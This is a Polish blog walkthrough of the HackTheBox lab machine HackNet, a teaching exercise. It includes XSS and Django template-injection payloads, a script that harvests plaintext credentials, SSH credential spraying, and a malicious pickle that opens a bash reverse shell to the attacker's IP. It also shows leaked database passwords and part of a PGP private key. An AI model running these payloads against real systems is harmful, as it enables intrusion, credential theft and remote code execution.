Blog | Ravr

[PL] HackTheBox - HackNet

htb

January 19, 2026

HTB machine logo

HackNet


HTB

Os
Linux
Trudność
Średnia
Premiera
September 13, 2025
Punkty
30

HTB

Twórca
HTB - creator
User blood
HTB - userBlood
Root blood
HTB - rootBlood

Rekonesans

Nmap

Nmap znajduje 2 otwarte porty:

  • 22 (ssh)
  • 80 (http)
# Nmap 7.94SVN scan initiated Sun Jan 16 23:11:15 2026 as: nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.5.174
Warning: 10.129.5.174 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.5.174
Host is up (0.92s latency).
Not shown: 65203 closed tcp ports (reset), 330 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap 7.94SVN scan initiated Sun Jan 16 23:12:28 2026 as: nmap -sCV -p22,80 -oN nmap.initial 10.129.5.174
Nmap scan report for 10.129.5.174
Host is up (0.15s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_  256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Baza podatności dla SSH w wersji 9.2p1 zawiera co prawda kilka poważnych luk, jednak dotyczą one specjalnych funkcji w OpenSSH (PKCS#11 oraz ssh-add). Nie możemy ich zatem wykorzystać, by dostać się do systemu bez uwierzytelnienia.

TCP 80 - hacknet.htb

Nmap wykrył przekierowanie do hacknet.htb. Jak zawsze w takim przypadku, dodajemy tę domenę do pliku /etc/hosts dla łatwiejszej interakcji z usługą http.

hacknet.htb to sieć społecznościowa dla hackerów, jak możemy zobserwować na stronie głównej:

tcp 80 - hacknet.htb

Technologie

Wtyczka wappalyzer szybko znajduje technologie użyte do stworzenia aplikacji, jednak dopiero po przejściu na stronę logowania (serwer zwraca wtedy csrfmiddlewaretoken oraz ciasteczko csrftoken w odpowiedzi, co zapewne umożliwia wappalyzerowi identyfikację).

hacknet.htb - tokeny pozwalające na identyfikacje technologii

Z naszej perspektywy najistotniejsze będzie użycie frameworka Django i języka Python.

hacknet.htb - wappalyzer

Enumeracja

Zacznijmy od rejestracji:

hacknet.htb - rejestracja

Po zalogowaniu mamy dostęp do kilku endpointów:

  1. /profile z możliwością edycji profilu i tworzenia postów:
hacknet.htb - profil
  1. /contacts z widokiem kontaktów:
hacknet.htb - kontakty
  1. /messages z widokiem wiadomości odebranych i wysłanych (funkcjonalość wygląda na niezaimplementowaną):
hacknet.htb - wiadomości
  1. /search - z wyszukiwarką użytkowników hacknet.htb:
hacknet.htb - lista użytkowników
  1. /explore - z listą postów i możliwością dodawania komentarzy:
hacknet.htb - posty

Dostęp początkowy

Patrząc na funkcje aplikacji (dodawanie postów, edycja profilu) na myśli przychodzą przynajmniej dwie podatności, które mogą wystąpić w takich sytuacjach:

  • xss (cross site scripting),
  • ssti (server side template injection), która jest całkiem prawdopodobna w przypadku pythona i frameworka django.

Miejsc, w których moglibyśmy umieścić nasze payloady jest przynajmniej kilka:

  • treść postów,
  • komentarz do postów,
  • nazwa użytkownika i jego opis.

XSS

Skupmy się najpierw na pierwszej możliwej podatności - XSS. Umieśćmy typowy payload <img src=1 onerror=alert(1)> we wszystkich wspomnianych wyżej miejscach:

hacknet.htb - sprawdzenie xssa w profile hacknet.htb - sprawdzenie xssa w profile

Treść i nazwa użytkownika w postach i komentarzach wydaje się być bezpiecznie zakodowana jako encja html, co z reguły w django dzieje się automatycznie, o ile jawnie nie wyłączymy tego w kodzie (dodając |safe).

hacknet.htb - xss encja html

Dużo ciekawsza wydaje się funkcja polubień. Gdy polubimy jakiś post i następnie klikniemy w likes zostanie wczytany dodatkowy popup z avatarami użytkowników. Gdy przyjrzymy się kodowi html, zobaczymy, że oprócz avatarów w atrybucie title widnieje też nazwa użytkownika:

hacknet.htb - sprawdzenie xssa - polubienia

Aby nasz xss mógł się udać, potrzebujemy więc wyskoczyć z kontekstu atrybutu, dodając po prostu znaki "> w nazwie użytkownika. Jeśli niebezpieczne znaki (takie jak >,<,",' itp), nie będą zakodowane jako encja html, to mamy szanse na XSSa.

Dodajmy więc uaktualniony payload w nazwie użytkownika:

hacknet.htb - uaktualniony payload xss w nazwie użytkownika

I teraz sprawdźmy polubienia:

hacknet.htb - xss - alert

XSS zadziałał. Pozostaje teraz odpowiedzieć na pytanie, czy przyda nam się to do eksploitacji? W realnych aplikacjach - tak, o ile inny użytkownik, np. admin w swojej własnej przeglądarce kliknąłby w polubienia. Moglibyśmy wtedy np. wykraść jego ciasteczko sesyjne (jeśli nie jest zabezpieczone flagą http-only) lub wykonać dowolną akcję w jego imieniu.

W realiach HackTheBox, aby taki atak miał sens, potrzebowalibyśmy jakiegoś bota, kótry symulowałby akcję użytkownika (czyli klikał w polubienia raz na jakiś czas). Wykorzystajmy więc payload z webhookiem w nazwie użytkownika, np. "><img src=http://10.10.14.99>. Jeśli admin wejdzie na taką stronę będziemy o tym wiedzieć. Pozostaje tylko nasłuchiwać na możliwe połączenia (maszyny na HackTheBox są domyślne odłączone od internetu, nie możemy więc użyć zewnętrznego webhooka, stąd po prostu nasz lokalny VPNowy adres ip w payloadzie wyżej):

rvr@rvr$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Niestety, po dłuższej chwili nie otrzymaliśmy żadnej komunikacji. Wygląda więc na to, że maszyna nie posiada bota, który wykonałby naszego XSSa.

SSTI - potwierdzenie podatności

Zajmijmy się teraz SSTI. Wykorzystamy informacje umieszczone w repozytorium PayloadAllTheThings. Najpierw podstawowy payload, który powinien dowodzić istnienia podatności:

{{ 7*7 }}

Treść postu, komentarz, nazwa użytkownika w poście nie wyglądają na podatne.

hacknet.htb - sprawdzenie ssti w profilu hacknet.htb - sprawdzenie ssti w poście

Ale funkcja polubień (ponownie!) zwraca obiecującą odpowiedź! Gdy klikniemy w likes w polubionym przez nas poście, dostajemy Something went wrong....

hacknet.htb - ssti w polubieniach - błąd

To zgadza się z informacją umieszczoną w PayloadAllTheThings:

{{ 7*7 }} # Error with Django Templates

Weźmy teraz drugi payload, który powinien wykonać się bez błędów: ih0vr{{364|add:733}}d121r. Możemy go jednak trochę uprościć wysyłając jedynie {{364|add:733}}. W odpowiedzi powinniśmy uzyskać sumę liczb 364 i 733, czyli 1097. Sprawdźmy:

hacknet.htb - ssti w polubieniach - potwierdzenie podatności

Mamy potwierdzenie: nazwa użytkownika został zinterpretowana jako cześć szablonu, a następnie wykonana.

SSTI - właściwa eksploitacja

Django może korzystać z dwóch silników szblonów: Django Templates i Jinja2. W naszym przypadku, mamy do czynienia z tym pierwszym (o czym świadczy błąd wykonania payloadu {{ 7*7 }}). Silnik ten jest dużo prostszy, co jednocześnie zmniejsza dotkliwość podatności SSTI w porównaniu do Jinja2. Nie uzyskamy tu RCE, widać to chociażby w liczbie payloadów w repozytorium PayloadAllTheThings.

Jedyną możliwością jaką mamy jest odwołanie się do kontekstu w jakim działa dany szablon i np. odczytanie zmiennych, które w tym konkretnym kontekście się znajdują. Nie znamy jednak ich nazw. W takim przypadku najłatwiej zostosować podejście bruteforce (siłowe testowanie różnych nazw znajdujących się w słowniku) albo educated guess (zgadywanie prawdopodobnych nazw na bazie np. danej funkcjonalności). To drugie jest szybsze, lecz na pewno mniej skuteczne.

Pierwszą z propozycji w przypadku educated guess może być np. username czy usernames (w końcu widzimy nazwy użytkowników po kliknięciu w likes; payload może być np. taki: {{ usernames }}{{ username }}). Dla uproszczenie podglądu, to samo żądanie, ale w burpie:

hacknet.htb - ssti - payload usernames

Pole title jest puste, a więc nic z tego. To może {{ users }}? Tu już lepiej, w odpowiedzi widzimy QuerySet:

hacknet.htb - ssti - payload usernames

Dokumentacja django zawiera dokładny opis QuerySet API. A tam widzimy kilka przydatnych metod, m.in. values_list i values.

Dodanie ich do payloadu SSTI z users, tj. {{ users.values_list }} zwraca wszystkie wartości obiektu SocialUser (w tym pole hasło w wersji jawnej!):

hacknet.htb - ssti - payload usernames

Powinniśmy teraz zalajkować dowolny post, gdzie już są polubienia innych użytkowników. Jednak jeszcze lepszym pomysłem będzie polubić je wszystkie, by zebrać jak największą liczbę danych.

W tym celu możemy wykorzystać prosty skrypt, który zalajkuje nam każdy post i wyekstraktuje dane wszystkich użytkowników dzięki ssti (oczywiście, w skrypcie zakładamy, że nazwa użytkownika została wcześniej zmieniona na {{ users.values_list }}):

import requests

MAX_POST_ID = 30
URL = 'http://hacknet.htb'
COOKIES = {
    "csrftoken":"7vGRDsA9HgLmbJiex0cuZRx9X1hySRXY", 
    "sessionid":"rr4l1965oqwjzvj20n7ii3bbkgeavi0m"
}

email_passwords = []
def like_post(idx):
    requests.get(f"{URL}/like/{idx}", cookies=COOKIES)

def get_likes(idx):
    return requests.get(f"{URL}/likes/{idx}", cookies=COOKIES)

def like_and_get_users(idx):
    resp = get_likes(idx)
    if resp.status_code == 200:
        if 'QuerySet' not in resp.text:
            like_post(idx)
            resp = get_likes(idx)
        
        users_str = resp.text.split('QuerySet [')[1].split(']')[0]
        for user_str in users_str.replace('&#x27;',"'").split('), ('):
            user = user_str.split(', ')
            email_passwords.append(f"{user[1][1:-1]}:{user[3][1:-1]}")


for i in range(MAX_POST_ID):
    like_and_get_users(i)

print("\n".join(list(set(email_passwords))))
rvr@rvr$ python3 like-and-extract-users.py > emails_with_passwords.txt

Plik emails_with_passwords.txt:

[email protected]:D@rkSeek3r#
[email protected]:Sh@d0wM@ncer
[email protected]:Wh!t3H@t2024
[email protected]:St3@lthH@wk
[email protected]:V!rusV!p3r2024
[email protected]:Byt3B@nd!t123
[email protected]:P@ck3tP!rat3
[email protected]:D33pD!v3r
[email protected]:Bl@ckW0lfH@ck
[email protected]:Sh@d0wC@st!
[email protected]:Gh0stH@cker2024
[email protected]:BrUt3F0rc3#
[email protected]:N3tN1nj@2024
[email protected]:mYd4rks1dEisH3re
[email protected]:Phre@k3rH@ck
[email protected]:Sh@dowW@lk2024
[email protected]:C0d3Br3@k!
[email protected]:Expl01tW!zard
[email protected]:Tr0j@nH0rse!
[email protected]:CrYptoR@ven42
[email protected]:Gl1tchH@ckz
[email protected]:D@taD1v3r
[email protected]:Zer0D@yH@ck
[email protected]:R00tBr3@ker#
[email protected]:H3xHunt3r!
[email protected]:test

Co teraz? Możemy zalogować się do aplikacji albo spróbować szcześcia w usłudze SSH. Pierwsza opcja nie dostarcza nam nowych informacji. Skupmy się zatem na tej drugiej - SSH. Najpierw przygotujmy dane:

# wyekstraktuj nazwy użytkowników z emaili
rvr@rvr$ awk -F ':' '{print $1}' emails_with_passwords.txt | awk -F '@' '{ print $1 }' > potential_users.txt
# wyekstraktuj hasła
rvr@rvr$ awk -F ':' '{print $2}' emails_with_passwords.txt > potential_passwords.txt

Możemy teraz użyć narzędzia netexec do przetestowania danych uwierzytelniających:

rvr@rvr$ nxc ssh hacknet.htb -u potential_users.txt -p potential_passwords.txt --no-bruteforce --continue-on-success
SSH         10.129.5.174    22     hacknet.htb      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
...[snip]...
SSH         10.129.5.174    22     hacknet.htb      [-] netninja:N3tN1nj@2024
SSH         10.129.5.174    22     hacknet.htb      [+] mikey:mYd4rks1dEisH3re  Linux - Shell access!
SSH         10.129.5.174    22     hacknet.htb      [-] phreaker:Phre@k3rH@ck
SSH         10.129.5.174    22     hacknet.htb      [-] shadowwalker:Sh@dowW@lk2024
SSH         10.129.5.174    22     hacknet.htb      [-] codebreaker:C0d3Br3@k!
...[snip]...

Znaleźliśmy pasujące dane (co dowodzi informacja Linux - Shell access!):

mikey:mYd4rks1dEisH3re

Gdyby to nie zadziałało, moglibyśmy uruchomić netexec bez flagi --no-bruteforce - wtedy każde kombinacja login - hasło byłaby przetestowana w procesie uwierzytelnienia.

Shell jako mikey

Możemy teraz odczytać plik user.txt.

rvr@rvr$ ssh [email protected]
[email protected]'s password:
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64

mikey@hacknet:~$ ls
user.txt
mikey@hacknet:~$ cat user.txt
b8f751f0*************************

Enumeracja

Podstawowa enumeracja nie odsłania nam wielu przydatnych informacji:

mikey@hacknet:~$ sudo -l
[sudo] password for mikey:
Sorry, user mikey may not run sudo on hacknet.

mikey@hacknet:~$ ls /home
mikey  sandy

mikey@hacknet:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mikey:x:1000:1000:mikey,,,:/home/mikey:/bin/bash
sandy:x:1001:1001::/home/sandy:/bin/bash

mikey@hacknet:~$ ss -lnpt
State    Recv-Q   Send-Q     Local Address:Port       Peer Address:Port   Process
LISTEN   0        80             127.0.0.1:3306            0.0.0.0:*
LISTEN   0        511              0.0.0.0:80              0.0.0.0:*
LISTEN   0        128              0.0.0.0:22              0.0.0.0:*
LISTEN   0        511                 [::]:80                 [::]:*
LISTEN   0        128                 [::]:22                 [::]:*

mikey@hacknet:~$ groups
mikey

Wiemy natomiast o istnieniu drugiego użytkownika: sandy. Prawdopodobny jest więc horizontal privilege escalation. Okazuje się, że użytkownik ten kontroluje cały katalog z aplikacją hacknet.htb oraz folder: /var/tmp/django_cache. Mamy też backup .sql zaszyfrowany kluczem prywatnym gpg:

mikey@hacknet:~$ find / -user sandy 2> /dev/null
/var/www/HackNet
/var/www/HackNet/SocialNetwork
/var/www/HackNet/SocialNetwork/apps.py
...[snip]...
/var/www/HackNet/backups/backup03.sql.gpg
/var/www/HackNet/backups/backup02.sql.gpg
/var/www/HackNet/backups/backup01.sql.gpg
/var/www/HackNet/db.sqlite3
...[snip]...
/var/www/HackNet/HackNet/__init__.py
/var/www/HackNet/HackNet/wsgi.py
/var/www/HackNet/HackNet/urls.py
/var/www/HackNet/HackNet/settings.py
/var/www/HackNet/HackNet/asgi.py
/var/tmp/django_cache
/home/sandy

Struktura aplikacji wygląda następująco:

mikey@hacknet:/var/www/HackNet/SocialNetwork$ ls -la
total 68
drwxr-xr-x 6 sandy sandy  4096 Sep  8 05:22 .
drwxr-xr-x 7 sandy sandy  4096 Feb 10  2025 ..
-rw-r--r-- 1 sandy sandy     0 May 31  2024 __init__.py
drwxr-xr-x 2 sandy sandy  4096 Sep  8 05:22 __pycache__
-rw-r--r-- 1 sandy sandy   298 May 31  2024 admin.py
-rw-r--r-- 1 sandy sandy   157 May 31  2024 apps.py
drwxr-xr-x 3 sandy sandy  4096 Aug  8  2024 migrations
-rw-r--r-- 1 sandy sandy  2368 Aug  8  2024 models.py
-rw-r--r-- 1 sandy sandy  1126 Jun 20  2024 news_generator.py
drwxr-xr-x 2 sandy sandy  4096 May 31  2024 static
drwxr-xr-x 3 sandy sandy  4096 May 31  2024 templates
-rw-r--r-- 1 sandy sandy  1502 May 31  2024 urls.py
-rw-r--r-- 1 sandy sandy 22547 Sep  8 05:22 views.py
mikey@hacknet:/var/www/HackNet/SocialNetwork$ cd ../HackNet/
mikey@hacknet:/var/www/HackNet/HackNet$ ls -la
total 28
drwxr-xr-x 3 sandy sandy 4096 Sep  8 05:20 .
drwxr-xr-x 7 sandy sandy 4096 Feb 10  2025 ..
-rw-r--r-- 1 sandy sandy    0 May 31  2024 __init__.py
drwxr-xr-x 2 sandy sandy 4096 Sep  8 05:22 __pycache__
-rw-r--r-- 1 sandy sandy  168 May 31  2024 asgi.py
-rw-r--r-- 1 sandy sandy 2697 Feb 10  2025 settings.py
-rw-r--r-- 1 sandy sandy  313 Sep  8 05:20 urls.py
-rw-r--r-- 1 sandy sandy  168 May 31  2024 wsgi.py

W pliku /var/www/HackNet/HackNet/settings.py widzimy dane uwierzytelniające do mysql:

WSGI_APPLICATION = 'HackNet.wsgi.application'

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'hacknet',
        'USER': 'sandy',
        'PASSWORD': 'h@ckn3tDBpa$$',
        'HOST':'localhost',
        'PORT':'3306',
    }
}

Oraz konifgurację cache, co wyjaśnia nam istnienie folderu /var/tmp/django_cache:

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},
    }
}

Mysql

W bazie danych nie widzimy nic szczególnego:

mikey@hacknet:/var/www/HackNet/HackNet$ mysql -u sandy -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 1360
Server version: 10.11.11-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| hacknet            |
| information_schema |
| mysql              |
+--------------------+
3 rows in set (0.002 sec)

MariaDB [(none)]> use hacknet;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [hacknet]> show tables;
+-----------------------------------+
| Tables_in_hacknet                 |
+-----------------------------------+
| SocialNetwork_contactrequest      |
| SocialNetwork_socialarticle       |
| SocialNetwork_socialarticle_likes |
| SocialNetwork_socialcomment       |
| SocialNetwork_socialmessage       |
| SocialNetwork_socialuser          |
| SocialNetwork_socialuser_contacts |
| auth_group                        |
| auth_group_permissions            |
| auth_permission                   |
| auth_user                         |
| auth_user_groups                  |
| auth_user_user_permissions        |
| django_admin_log                  |
| django_content_type               |
| django_migrations                 |
| django_session                    |
+-----------------------------------+
17 rows in set (0.000 sec)

W tabelach SocialNetwork_* dane wyglądają na losowe, w SocialNetwork_socialuser mamy wszystko to, co i tak poznaliśmy już dzięki SSTI.

W tabeli auth_user znajdujemy hash PBKDF2 SHA256:

MariaDB [hacknet]> select * from auth_user \G
*************************** 1. row ***************************
          id: 1
    password: pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$r9ymp7zwsKCKxckgnl800wTQykGK3SgdRkOxEmLiTQQ=
  last_login: 2025-02-05 17:01:02.503833
is_superuser: 1
    username: admin
  first_name: 
   last_name: 
       email: 
    is_staff: 1
   is_active: 1
 date_joined: 2024-08-08 18:17:54.472758
1 row in set (0.000 sec)

Niestety nie jest on łatwo łamalny (tj. wymagałoby to bardzo dużo czasu), co wynika z samej implementacji PBKDF2. Możemy więc pominąć ten krok.

W tabelach django_* również nie ma nic specjalnego, a tabela django_session zawiera tylko naszą sesję z aplikacji hacknet.

Kod hacknet.htb

Przyjrzyjmy się teraz aplikacji, którą do tej pory testowaliśmy jedynie w podejściu blackbox.

Polubienia - kod podatny na SSTI

W pliku /var/www/HackNet/SocialNetwork/views.py w funkcji likes, widzimy, dlaczego klinięcie w polubienia (albo GET /likes/<ID>) prowadziło do podatności SSTI:

def likes(request, pk):
    if not "email" in request.session.keys():
        return redirect("index")

    session_user = get_object_or_404(SocialUser, email=request.session['email'])
    post = get_object_or_404(SocialArticle,pk=pk)
    users = post.likes.all()

    engine = engines["django"]
    template_string = ""

    context = {"users": users}

    for user in users:
        if not user.is_hidden or user == session_user:
            template_string += "<div class=\"likes-review-item\"><a href=\"/profile/"+str(user.pk)+"\"><img src=\""+user.picture.url+"\" title=\""+user.username+"\"></a></div>"

    try:
        template = engine.from_string(template_string)
    except:
        template = engine.from_string("<div class=\"likes-review-item\"><a>Something went wrong...</a></div>")

    return HttpResponse(template.render(context, request))

template_string tworzony był dynamicznie poprzez zwykłą konkatenację strignów, a następnie przekazywany po prostu do engine.from_string(template_string), co nigdy nie jest dobrym pomysłem.

Cache - niezaufana deserializacja

Kolejnym miejscem aplikacji o bardzo interesującym kodzie jest funkcja explore wykorzystująca dekorator @cache_page:

@cache_page(60)
def explore(request):
    if not "email" in request.session.keys():
        return redirect("index")

    session_user = get_object_or_404(SocialUser, email=request.session['email'])

    page_size = 10
    keyword = ""

    if "keyword" in request.GET.keys():
        keyword = request.GET['keyword']
        posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
    else:
        posts = SocialArticle.objects.all().order_by("-date")

    pages = ceil(len(posts) / page_size)

    if "page" in request.GET.keys() and int(request.GET['page']) > 0:
        post_start = int(request.GET['page'])*page_size-page_size
        post_end = post_start + page_size
        posts_slice = posts[post_start:post_end]
    else:
        posts_slice = posts[:page_size]

    news = get_news()
    request.session['requests'] = session_user.contact_requests
    request.session['messages'] = session_user.unread_messages

    for post_item in posts:
        if session_user in post_item.likes.all():
            post_item.is_like = True

    posts_filtered = []
    for post in posts_slice:
        if not post.author.is_hidden or post.author == session_user:
            posts_filtered.append(post)
        for like in post.likes.all():
            if like.is_hidden and like != session_user:
                post.likes_number -= 1

    context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}

    return render(request, "SocialNetwork/explore.html", context)

To dlatego potrzebna była konfiguracja cache zapisana w settings.py. Dla przypomnienia:

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},
    }
}

Zadanie dekoratora jest następujące: po odwiedzeniu strony /explore jej odpowiedź będzie zapisana w cache przez 60 sekund, dzięki czemu następne odwiedzenie strony powinno skutkować szybszą odpowiedzią.

Ta sama strona dokumentacji informuje również o bardzo istotnej sprawie:

An attacker who gains access to the cache file can not only falsify HTML content, which your site will trust, but also remotely execute arbitrary code, as the data is serialized using pickle.

Atatkujący, który uzyska dostęp do pliku z cachem, może nie tylko sfałszować zawartość HTML, ale również doprowadzić do zdalnego wykonania kodu, jako że dane są serializowane przy pomocy pickle.

Pickle to pythonowy moduł odpowiedzialny za zapis obiektów do ciągu bajtów, tak aby można je było np. w łatwy sposób przesyłać przez sieć, a następnie zdeserializować (ponownie zmienić na obiekt pythona).

Dokumentacja Pickle już w pierwszym akapicie informuje o możliwym RCE podczas deserializacji niezaufanych danych:

The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Zgodnie z dokumentacją i konfiguracją strony, zserializowana odpowiedź na żądanie /explore zapisana będzie w /var/tmp/django_cache przez 60 sekund, a następnie usuwana. Sprawdźmy czy pliki pojawią się w tym folderze. Najpierw jest pusto:

mikey@hacknet:/var/www/HackNet/SocialNetwork$ ls -la /var/tmp/django_cache/
total 8
drwxrwxrwx 2 sandy www-data 4096 Feb 10  2025 .
drwxrwxrwt 4 root  root     4096 Jan 19 07:34 ..

Odwiedzamy /explore i w /var/tmp/django_cache pojawiają się pliki:

mikey@hacknet:/var/www/HackNet/SocialNetwork$ ls -la /var/tmp/django_cache/
total 16
drwxrwxrwx 2 sandy www-data 4096 Jan 19 08:15 .
drwxrwxrwt 4 root  root     4096 Jan 19 07:34 ..
-rw------- 1 sandy www-data   34 Jan 19 08:15 1f0acfe7480a469402f1852f8313db86.djcache
-rw------- 1 sandy www-data 2778 Jan 19 08:15 90dbab8f3b1e54369abdeb4ba1efc106.djcache

Niestety ich uprawnienia -rw------- wskazują, że tylko użytkownik sandy może je czytać i modyfikować. Na szczęście cały katalog zawiera już więcej uprawnień:

drwxrwxrwx 2 sandy www-data 4096 Jan 19 08:15 .

Możemy tworzyć nowe pliki, usuwać je czy nawet zmieniać nazwy już istniejących:

mikey@hacknet:/var/tmp/django_cache$ ls
1f0acfe7480a469402f1852f8313db86.djcache  90dbab8f3b1e54369abdeb4ba1efc106.djcache
mikey@hacknet:/var/tmp/django_cache$ touch test
mikey@hacknet:/var/tmp/django_cache$ mv 1f0acfe7480a469402f1852f8313db86.djcache newname.djcache
mikey@hacknet:/var/tmp/django_cache$ ls
90dbab8f3b1e54369abdeb4ba1efc106.djcache  newname.djcache  test

Nic więc nie stoi na przeszkodzie, abyśmy stworzyli złośliwy plik pickle i nazwali go tak, jak jeden z plików cache tworzonych przez django, tj: 1f0acfe7480a469402f1852f8313db86.djcache czy 90dbab8f3b1e54369abdeb4ba1efc106.djcache.

Ponownie wykorzystamy lekko zmodyfikowany payload z PayloadAllTheThings, by stworzyć złośliwy obiekt pickle dający nam reverse shell:

import pickle, os

class Evil(object):
    def __reduce__(self):
        return (os.system,("bash -c 'bash -i >& /dev/tcp/10.10.14.99/9999 0>&1'",))

e = Evil()
evil_pickle = pickle.dumps(e)
with open('malicious-pickle.out', 'wb') as f:
    f.write(evil_pickle)
mikey@hacknet:/tmp/evil-pickle$ ls
gen-evil-pickle.py
mikey@hacknet:/tmp/evil-pickle$ python3 gen-evil-pickle.py
mikey@hacknet:/tmp/evil-pickle$ ls
gen-evil-pickle.py  malicious-pickle.out

Teraz ustawiamy nasłuchowanie na port 9999 na naszym hoście:

rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...

Przechodzimy do /explore i podmieniamy django cache na nasz złośliwy plik /tmp/evil-pickle/malicious-pickle.out:

mikey@hacknet:/var/tmp/django_cache$ mv 1f0acfe7480a469402f1852f8313db86.djcache 1f0acfe7480a469402f1852f8313db86.djcache.old 
mikey@hacknet:/var/tmp/django_cache$ cp /tmp/evil-pickle/malicious-pickle.out 1f0acfe7480a469402f1852f8313db86.djcache

Następnie ponownie odwiedzamy /explore.

Na naszym pierwszym terminalu powinniśmy zobaczyć połączenie:

rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.99] from (UNKNOWN) [10.129.5.174] 51502
bash: cannot set terminal process group (6085): Inappropriate ioctl for device
bash: no job control in this shell
sandy@hacknet:/var/www/HackNet$ id
id
uid=1001(sandy) gid=33(www-data) groups=33(www-data)

Shell jako sandy

Mamy dostęp do użytkownika sandy. W jego katalogu domowym nie ma zbyt wiele:

sandy@hacknet:~$ ls -la
total 36
drwx------ 6 sandy sandy 4096 Sep 11 11:18 .
drwxr-xr-x 4 root  root  4096 Jul  3  2024 ..
lrwxrwxrwx 1 root  root     9 Sep  4 19:01 .bash_history -> /dev/null
-rw-r--r-- 1 sandy sandy  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 sandy sandy 3526 Apr 23  2023 .bashrc
drwxr-xr-x 3 sandy sandy 4096 Jul  3  2024 .cache
drwx------ 3 sandy sandy 4096 Dec 21  2024 .config
drwx------ 4 sandy sandy 4096 Sep  5 11:33 .gnupg
drwxr-xr-x 5 sandy sandy 4096 Jul  3  2024 .local
lrwxrwxrwx 1 root  root     9 Aug  8  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 sandy sandy  808 Jul 11  2024 .profile
lrwxrwxrwx 1 root  root     9 Jul  3  2024 .python_history -> /dev/null

Jest jednak folder .gnupg! Jeśli dobrze pamiętamy to w /var/www/HackNet/backups mamy kilka plików zaszyfrowanych kluczem prywatnym pgp (dla wygody możemy je pobrać na własną maszynę, by ułatwić sobie analizę):

rvr@rvr$ file backup*
backup01.sql.gpg: PGP RSA encrypted session key - keyid: FC53AFB0 D6355F16 RSA (Encrypt or Sign) 1024b .
backup02.sql.gpg: PGP RSA encrypted session key - keyid: FC53AFB0 D6355F16 RSA (Encrypt or Sign) 1024b .
backup03.sql.gpg: PGP RSA encrypted session key - keyid: FC53AFB0 D6355F16 RSA (Encrypt or Sign) 1024b .

Możemy podejrzeć też klucze użytkownika sandy:

sandy@hacknet:/var/www/HackNet/backups$ gpg --list-keys
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub   rsa1024 2024-12-29 [SC]
      21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid           [ultimate] Sandy (My key for backups) <[email protected]>
sub   rsa1024 2024-12-29 [E]

Oraz wszystkie pliki w ~/.gnupg:

sandy@hacknet:~/.gnupg$ find .
.
./private-keys-v1.d
./private-keys-v1.d/armored_key.asc
./private-keys-v1.d/EF995B85C8B33B9FC53695B9A3B597B325562F4F.key
./private-keys-v1.d/0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key
./pubring.kbx~
./trustdb.gpg
./openpgp-revocs.d
./openpgp-revocs.d/21395E17872E64F474BF80F1D72E5C1FA19C12F7.rev
./random_seed
./pubring.kbx

Gdy spróbujemy odszyfrować te pliki, otrzymamy prośbę o passphrase:

sandy@hacknet:~/.gnupg$ gpg --decrypt /var/www/HackNet/backups/backup01.sql.gpg
gpg trying to decrypt

Plik ./private-keys-v1.d/armored_key.asc to wykesportowany do postaci ASCII klucz prywatny.

sandy@hacknet:~/.gnupg$ cat private-keys-v1.d/armored_key.asc 
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQIGBGdxrxABBACuOrGzU2PoINX/6XsSWP9OZuFU67Bf6qhsjmQ5CcZ340oNlZfl
LsXqEywJtXhjWzAd5Juo0LJT7fBWpU9ECG+MNU7y2Lm0JjALHkIwq4wkGHJcb5AO
949lXlA6aC/+CuBm/vuLHtYrISON7LyUPAycmf8wKnE7nX9g4WY000k8ywARAQAB
/gcDAoUP+2418AWL/9s1vSnZ9ABrtqXgH1gmjZbbfm0WWh2G9DJ2pKYamGVVijtn
29HGsMJblg0pPNSQ0PVCJ3iPk2N6kwoYWrhrxtS/0yT9tPkItBaW9x2wGzkwzfvI
VKga32QvV5f5Td9+ZwUt7UKO5t5p/Uw48Mbbn8zGcwR5tIr95ngCfQYo8LkEZpkD
...[snip]...
